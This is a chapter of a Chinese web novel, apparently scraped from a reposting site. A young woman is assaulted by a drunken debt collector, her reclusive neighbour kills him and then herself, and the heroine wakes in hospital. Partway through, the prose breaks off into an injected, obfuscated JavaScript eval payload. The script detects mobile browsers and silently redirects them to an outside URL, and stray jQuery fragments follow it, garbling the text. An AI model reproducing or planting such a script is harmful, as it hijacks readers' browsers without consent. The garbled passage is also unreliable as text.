28. 28

作品:《渡鸦[伪骨]

    火车驶过绵延不断的山脉,幢幢山影被浓雾罩着,身躯巨大而无声无息。


    一路上,铁轨震荡声在耳畔沉浮,一重山外,是从夜幕深处奔来的另一重山。


    -


    家里已被打扫得很干净。


    数月前,温瑾随手用糖纸折的千纸鹤被做成一串风铃挂在了玄关处,和那个有着收音机壳身的小灯放在了一起。


    进门刹那,微光亮,风铃响,温瑾有种逃离开尘世的错觉。


    江予迟几天前就离开了蔚城,此后便忙了起来。


    这些天里,他虽不怎么打来电话,倒是会每晚发来一条微信同温瑾说晚安,每一天都不曾落下。


    二人都是彼此微信的第一个好友。


    温瑾的微信头像是一只乌鸦的剪影,江予迟的是从床边垂下的一只手。


    而手腕上,系着温瑾的细黑发绳。


    温瑾都不知道他是什么时候拍的,每次看见,总忍不住怔上几秒,然后,一点,一点,任由笑意驻留嘴角。


    -


    疯女人似乎有一段时间没给她发过照片了。


    温瑾想起这事,看向窗外,拍了张夕阳的轮廓传给了她。


    阳光移动的影子,花瓣蜷曲的弧度,疯女人总能精准地捕捉出各类意想不到的细节。


    温瑾心血来潮翻看起了她过去发来的所有照片,只觉,她眼里的世界像来自孩子。


    看了会儿,温瑾给那串号码加了个备注:小花女士。


    她突发奇想,一本正经地管人家叫小花女士,打出这四个字的时候,自己莫名就笑了起来。


    -


    疯女人那间地下室有些不同寻常。


    温瑾去时,树上的秋千已被拆得干干净净,底下堆了几袋生活垃圾。


    她拿着钥匙开门,连锁孔都已插不进去。


    几个过路人连连回头,见她在门口满头大汗,好心提醒:“小姑娘,那个疯婆娘走了。”


    走了?


    温瑾一回头,这才看见不远处墙上贴着张告示,是地下室违规租售的整改告知书。


    温瑾看得皱起了眉头。


    鱼骨街还没被拆时,她曾听附近的小卖部老板说起过,自从疯女人的女儿在秋千树下失了踪,她就再没回过家,用积蓄租下了筒子楼里的一间罐头房,租金一交就是十年。


    那时,她人还清醒。


    可年复一年,等她渐渐不清醒了,就被原房主从房子里赶了出来,被打发到了楼下的地下室里。


    租金一分没退给她。


    温瑾不知道原房主是谁,只听说他的儿女们后来发了迹,带着他搬出了鱼骨街,此后数年,再也不曾回来过。


    没见着疯女人,温瑾在地下室旁徘徊一阵,离开前,在屋子后找到了几块旧木板,以及原先系在旧木板上的秋千绳。


    此后几天,温瑾一连去了好几天,仍不见疯女人踪影,给她打去电话,分明线路顺畅,却始终无人接听。


    她不肯接温瑾的电话。


    听着不间断响起的嘟声,温瑾忽然记起,那一天疯女人在地下室替她梳头,神情宁静。


    她说:“囡囡,我要走了。”


    -


    温瑾返回蔚城的第四天,家里来了几个陌生人。


    彼时,温瑾正看着江予迟几天前随手发给她的进货单,在心底计算着小店支出。


    门声响起刹那,温瑾有些恍惚,一开门,看见了三张陌生面孔:一对夫妇,和一个躲在二人身后的小女孩。


    小女孩约莫六七岁的模样,面颊干瘦,怯怯抓着大人的腿,只露出了半张小脸。


    “程春湘是这一户吗?”男人操着乡下口音,“她把房子租给了我们。”


    “……”


    与私人房东的寻常租房不同,拆迁安置房很便宜。


    因着租金便宜,许多人都是半年至一年缴纳一次租金,周期拉得挺长。


    甚至有一些,不想拿拆迁费换新房的,为图省事三五年一缴,还能拿到更优惠的价格。


    温瑾没记错的话,江才封当时就缴了五年。


    温瑾下意识要把门关上,那男人连忙握着门檐:“老板,咱手里可是有合同的!”


    温瑾心里噔地一下,一下攥紧了手心。


    ——程春湘。


    温瑾已经有许久不曾听过这个名字了。


    而在外来夫妇断断续续的叙述里,再一次,她耳畔频繁响起了这三个字。


    合同被攥在程春湘手里,房子也是她转给别人的。


    想来,她是在外头缺了钱,隔了千万里地也惦记起了这一间租房,见缝插针地要把钱给回笼。


    不过她倒是有几分温情,温瑾讽刺地想,没一走就租出去,而是给她留了段时间,掐着时候等她考上了大学。


    温瑾忽然又想起一件事来。


    那天江予迟拿手术费填了利息,打完工从电子城回来,一身倦意。


    程春湘上上下下打量他半晌,嘴里破天荒没冒出半句挖苦的话来。


    江予迟去浴室洗澡时,她竟转头拿出包软牡丹抛给温瑾:“拿给你哥抽,劳他以后多照看你。”


    疯子。


    温瑾只当她又在发疯,任凭那包烟砸在身上。


    “这一片的房子是专门划给本地拆迁户的廉租房,要资格的,我和哥哥要是不愿意转,你们手里拿着合同也不管用。”


    见那小女孩小心翼翼看着自己,温瑾有些不大忍心,却仍咬着牙说了下去:


    “总之,她要是骗你们先交了钱,你们就找她,想办法把钱要回来,别来找我们了,我们不会租的。”


    说着,砰一声,温瑾关上了门,背靠着门边蹲坐在地,有些疲惫地垂下了头。


    “哥哥。”她拿出手机,发微信给江予迟,“你什么时候回来?”


    江予迟言简意赅回了她一句话:“很快,一周内。”


    温瑾拨了个电话过去,想听听他的声音,电话却没被接通。


    过了几分钟,她才收到了江予迟发来的另一条短信:他住的那地方信号不好,尤其是晚上,等到事情一忙完,他会立刻买票回来。


    -


    当晚,温瑾再一次前往地下室,带上了一卷塑料细带。


    不出意外,疯女人仍然不在,而地下室那扇曾经摆着花的小窗,此时也已结上了一层蛛网。


    到地方,温瑾用细带将屋后的秋千网绳小心捆好,又将旧木板擦得干干净净,同网绳绑在了同一处。


    天色阴冷,温瑾抄了条窄巷里的近道回家,在冷风中走得有些吃力。


    她忽然意识到,所谓离别,好像就是一次又一次的弯腰与拾捡。


    弯下腰,捡起被远去之人抛下的那些东西,而后,继续你日复一日的生活。


    譬如秦清淞留下的那一幅寒梅刺绣,辉哥留下的那一个小店,闻歌留下的那一堆有新有旧的纹身机子,还有疯女人……


    疯女人留下的这一个老旧破败的秋千。


    手里的旧木板有些沉,温瑾感到一阵轻微的晕眩,下意识摸了摸衣服口袋。


    江予迟不在的时候,她的口袋里竟找不着糖。


    温瑾有过晕倒的教训,不想犯险,想了想后,暂时搁下了手里的重物,还没走出几步,却突然闻到了一阵酒气。


    “你怕个卵?欠债还钱天经地义,除非他躲到阴曹地府!”


    “去,扒了他闺女的校服,找个骨灰盒塞里头送过去——就三天,三天时间算是给他的体面,不行你们看着办。”


    “报警就报警呗,老子又他娘不是没进去过!”


    那人说话凶狠,一边说着,喉咙里还发出了几声嗬嗬的笑,说出口的每个字都带着一股目空一切的意味。


    温瑾还没意识到来人是谁,大脑就已率先拉响了警报,迅速转过了身体。


    她本不想多看,然而转身之际,还是瞥见了拐角处的景象。


    是一个男人,粗脖子,短下巴,此刻歪着头,用堆出的下巴肉夹着手机,手上拎了桶用空了的红油漆,脖子上纹了两把交叉的斧头。


    温瑾心跳陡然一沉。


    她记得他!


    离巷子口还有一段距离,温瑾快步朝前,极力放轻动作摸出手机,循着本能打给了江予迟。


    动作间,她甚至都不敢把手机放到耳畔,只敢掖在袖子里按拨号键,生怕身后人发现异常。


    然而,电话还没被接起,沉沉脚步声忽的砸进了耳畔。


    “就是你要报警是吧?”


    男人说着,一步掠过了她,陡然抢走了手机。


    于是,一如多年在筒子楼里的窄廊上一般,一股浓烈的酒气漫入了鼻息。


    ——就是你要报警是吧?


    这是一句凭空出现、完全前言不搭后语的问话。


    说话的男人阴着张脸,身体堵住了温瑾的去路,更一把将手机砸到了墙上。


    温瑾意识到眼前人喝醉了。


    又或者,她想,他就是想无缘无故地发一场酒疯。


    数年前和外婆同住乡下时,温瑾曾目睹过村子里一个男人打女人,没有任何缘由就动手,砰一声,拿着木杵往人脑袋上砸,好像不知道那样是能砸死人的。


    而后又遇见江才封,他抡起板凳时面上既没有兴味也没有痛快,只有几许近乎于麻木的,像是在消遣日常无聊的漠然。


    温瑾觉得这些人很难形容。


    比起恐怖,似乎更接近于诡异,好像只是披着层被命名为“人”的皮。


    而眼前这个人,温瑾只看他一眼就知道,他就是那种只披了一层皮的人。


    男人仍眯着眼看着温瑾,重复着那个毫无逻辑的问题:“就是你是吧?就是你要报警吧?”


    温瑾竭力压住了发抖的冲动,任由他捡起自己被砸坏的手机,大步继续往前。


    男人一把将她拽到了跟前。


    “跑什么?”


    说这话时,他忽而笑了起来,是那种眼角眉梢都溢出一层浮油的笑。


    “记起来了。”他冷笑着,眼神上上下下打量起了温瑾,“你是那个婆娘的闺女,她男人和我们做过生意。”


    温瑾再度感到了一阵晕眩。


    男人仍在笑,脖颈上的斧头纹身也跟着颤动,一身横肉都在叫嚣。


    巷子口忽而传来一阵窸窣,似乎是有人经过。


    温瑾拔腿就朝巷口跑去,而就在她几乎要跑出巷子口的时候,毫无预兆的,一双手陡然出现,拦腰把她扛了起来。


    温瑾瞬间尖叫出声。


    她已经明白他的意图了,是一种居高临下的“观赏”,他让她跑,甚至就看着她跑,却绝不让她跑出巷子口。


    就在这一刹那,温瑾与男人对上了视线。


    他看她的眼神,凶恶、空洞,和看吊在案板上的一块肉没什么两样。


    温瑾猛地喘出一口急气,脑海里闪过了被红漆泼得面目全非的那扇门,闪过门内跌坐在地的程春湘,以及守在门边,手里破天荒拿了把刀的江予迟。


    她忽然无比恐惧,恐惧于自己手中空无一物。


    她好想有一把刀,更在这瞬间才突然明白,为什么疯女人的枕下,曾经会放有一把刀。


    “放开!”


    温瑾咬牙出声,手肘猛地击上了眼前人的脊背,这一下她用尽了全力,以至斧头男勃然暴怒,骤然拿起路边的旧木板,往她头上来了一下。


    随着砰一声闷响,一股空前强烈的晕眩感骤然来袭,温瑾只觉得自己的眼皮有千斤重。


    下一瞬,粗糙的触感攀上脚踝,那双比油漆还恶心的手钳住了她。


    意识随时间开始流逝,每一秒,都比前一秒更加沉滞。


    温瑾喉咙里嗡出几声破碎的呜咽,无力动作。


    而就在这时,有个人影撞入视线,手里不知拿着什么,像从海里决绝跃上岸边的一尾银鱼,反射出了一道刺眼的白光。


    温瑾下意识叫了声:“哥哥……”


    紧接着,刺啦一声,像是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109468|178185||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有什么刺入肉里。


    温瑾看见那斑驳的墙上,似乎开出了几朵寒梅。


    是梦吗?


    寒梅点点,猩红,温热。


    而后成片成片,绵延不绝地延向天际,带着血的气味,将天空染成了无尽的红。


    -


    醒来时,温瑾身前围了许多人。


    她思绪仍有些模糊,费力地辨认着眼前的景象。


    两名护士,一名医生,还有几个穿着便服的人。


    站在最前方的那个人见她醒来,立刻朝她出示了警官证。


    温瑾想接过警官证,却被穿着白大褂的医生当空抽走,冷着脸扔回给了身后的男人。


    “我说了,患者颅内出血,还有轻微脑震荡,此时需要绝对静养,不适合强行问话。”


    温瑾一字一句听着,开口第一句话就是:“我哥哥呢?”


    这话一出,却没人回答。


    温瑾掀开被子就要往外走,警官立刻将她按了回去。


    “陈医生,我们心里有数,就和她简单说几句。”


    说着回过头来:“现场没有什么你哥哥,只有一个疯子,你和那疯子是什么关系?”


    温瑾皱起了眉,像是没懂。


    “那疯子共砍了十三刀。”男人继续,“刀刀致命,把人当场砍死了。”


    紧接着,又问了一遍:“你和那疯子是什么关系?”


    温瑾愈发听不懂了。


    她视线环视一圈,从眼前人面上依次扫过,最终,落定在了说话人脸上:“您能再说一遍吗?”


    男人于是又重复了一遍。


    这下,温瑾听懂了。


    她问:“她呢?”


    “她?”


    “你们口中的那个疯子。”


    “她用秋千绳,把自己勒死了。”


    温瑾垂下了眼。


    半晌,她再次开口,还是那一句话:“您能再说一遍吗?”


    周围几人面面相觑,说话人自此没了声音。


    半晌,他叹了口气,说等温瑾好些再来,留下个联系方式,先一步带着人走了。


    他一走,病房里就只剩下了几名医护人员。


    陈医生朝温瑾叮嘱了一些注意事项,强调如果有呕吐、嗜睡等症状,必须第一时间告知护士。


    说完,深吸一口气,观察起了温瑾的反应。


    而温瑾没什么特别的反应,点了点头:“谢谢。”


    陈医生走后不久,一个看着比温瑾年长许多的女护士走了进来,拿着她的伤情鉴定书。


    膝盖擦伤,颅内损伤,脚踝处轻微骨折,除此之外,没有别的损伤,护士安慰温瑾,好好休息,很快就会好起来的。


    温瑾听她说着,眼底却见不着几丝庆幸。


    “别担心。”护士又说,“只是些皮外伤,没造成什么不可挽回的后果。”


    什么是不可挽回的后果?


    温瑾有些恍惚,偏头看向了窗外。


    过了几秒,她忽然笑了笑:“才这些吗?”


    才这些吗?


    护士微微怔了一下。


    她从没听人问起过这样的问题,竟像是痛恨自己伤得不够。


    而那个问题似乎不需要回答,温瑾问完,轻咬着嘴唇闭上了眼,此后一整天,再没说过一句话。


    -


    翌日一早,护士送来了缴费单。


    警方大抵早调查过温瑾的家庭情况,也大抵和医院知会过,此刻,护士没有催着她缴费,只说:“你哥哥在赶回来的路上。”


    温瑾开口:“那她呢?”


    “她?”


    “那个疯子。”


    “哦,当天就火化了。”


    火化了。


    温瑾有些迟缓地想,那就是被拉去烧了。


    人被烧成灰,总得有个盒子装着。


    温瑾见过电视里头盛骨灰的盒子,边上还会挂个小牌子,用以记录逝者姓名,生卒年月。


    那个牌子疯女人也会有吗?


    她的该怎么写?


    “小妹妹,你现在不能想太多。”见温瑾又望着窗外发起了呆,护士轻声安慰,“身体要紧,一切等你恢复好出院再说。”


    温瑾再次点了点头:“好。”


    江予迟到达时是凌晨五点。


    温瑾尝试过,但睡不着,思绪混沌地拢着眼皮,屋子里的一切动静都似隔了一层。


    他抵达后,脚步声放得很轻,像是怕吵醒她。


    可走到床边,却又用力握住了她的手。


    温瑾听见了他呼吸的声音,没有规律,像是被一双手拨得错乱,慌张沉浮在耳畔。


    “哥哥。”


    温瑾反握住他,江予迟又猛地伸出另一只手,捧着她两手抵在了额上,很久,很久。


    -


    时候还早,江予迟让温瑾再睡会儿,说他守着她。


    温瑾早已感受不到困意,却仍依言照做,闭上眼,在漆黑的夜里听起了墙上时钟的滴答声。


    天亮后,她无比清醒地睁开眼睛,才终于看清了江予迟的样子。


    江予迟瘦了些,像是几天没见着太阳,皮肤透出股不正常的苍白。


    眼瞳却仍幽黑,沉而安静地注视着她,直到她终于开口。


    见他穿着件挺单薄的夹克,温瑾忍不住问:“你冷不冷?”


    江予迟便把手递给她摸,热的。


    他手上缠了圈纱布,缠在下半截掌心的位置,明显是伤了。


    夜里与温瑾相握时,半边掌拢在了袖子里,温瑾那时竟没发觉。


    “手怎么了?”


    “不小心划的,没事。”


    温瑾微拧着眉,指尖在纱布上轻触了一下,感受到了他掌心微小的抽动。


    松开手时,护士恰好进门,对温瑾笑了笑:“哥哥来了?”


    江予迟点头起身,护士换药时,他就站在一旁,盯着温瑾两膝上的深红淤血,额上的青筋突突跳着,眼神始终没移开过。